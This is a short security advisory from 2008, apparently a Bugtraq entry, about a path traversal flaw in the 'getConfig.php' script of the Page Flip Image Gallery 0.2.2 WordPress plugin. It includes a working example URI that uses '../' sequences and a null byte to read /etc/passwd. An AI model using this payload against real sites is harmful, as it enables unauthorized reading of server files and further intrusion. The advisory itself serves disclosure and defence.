Page Flip Image Gallery 'getConfig.php' Information Disclosure Vulnerability

Bugtraq ID:	32966
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 22 2008 12:00AM
Updated:	Dec 30 2008 06:11PM
Credit:	GoLd_M
Vulnerable:	Flipping Book Wordpress Team Page Flip Image Gallery 0.2.2
Not Vulnerable:

Page Flip Image Gallery 'getConfig.php' Information Disclosure Vulnerability

Page Flip Image Gallery is prone to an information-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view arbitrary files in the context of the webserver process. This may aid in further attacks.

Page Flip Image Gallery 0.2.2 is vulnerable; other versions may also be affected.

Page Flip Image Gallery 'getConfig.php' Information Disclosure Vulnerability

Attackers can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/wp-content/plugins/page-flip-image-gallery/books/getConfig.php?book_id=../../../../../../../../../../../etc/passwd%00123

Page Flip Image Gallery 'getConfig.php' Information Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Page Flip Image Gallery 'getConfig.php' Information Disclosure Vulnerability

References:

• Vendor Homepage (Flipping Book Wordpress Team)